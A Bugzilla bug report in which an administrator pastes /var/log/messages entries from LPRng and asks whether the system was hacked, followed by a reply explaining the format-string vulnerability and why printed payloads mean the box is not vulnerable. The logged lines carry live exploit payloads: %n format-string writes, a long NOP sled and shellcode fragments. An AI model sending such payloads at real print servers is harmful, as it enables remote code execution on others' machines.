From Bugzilla Helper: User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.2.16-22 i686) Yesterday, on my fully updated RH system, lines like this started showing up in /var/log/messages. I realize they are symptoms of an LPRng exploit that was discovered in November, 2000, but they are happening again on my system. Apr 9 04:15:11 dv46m61 SERVER[20197]: Dispatch_input: bad request line 'BB\s?]s?^s?_s?XXXXXXXXXXXXXXXXXX%.156u%300$n%.21u%301$nsecurity%302$n%.192u%303$n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2201[1I1@0FM\200\211e1R2f\211P1I\211KC\211]xC\211]tK\211M|\215MtM\2001I\211 Apr 9 04:15:14 dv46m61 SERVER[20198]: Dispatch_input: bad request line 'BB(q?)q?*q?+q?XXXXXXXXXXXXXXXXXX%.232u%300$n%.199u%301$nsecurity.i%302$n%.192u%303$n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2201[1I1@0FM\200\211e1R2f\211P1I\211KC\211]xC\211]tK\211M|\215MtM\2001I Reproducible: Always Steps to Reproduce: 1. open /var/log/messages 2. take a look for Dispatch_input: bad request line 3. Actual Results: have i been hacked? This same thing has started appearing on 2 RedHat systems that I administer. # rpm -q LPRng LPRng-3.6.24-2
No, but someone is attacking. The exploit in question was a vulnerability in the way LPRng logged messages, namely that it treated an error string (the bad request line) as a format string. For C hackers, this means the differance between: printf(str) and printf("%s", str) to exploit it, you have to get the program to try and print the string. So if you see error message with formatting escapes like: %.21u \s \220 you know that you are /not/ vulnerable, because those commands would have been interpretted, instead of printed, on a vulnerable box.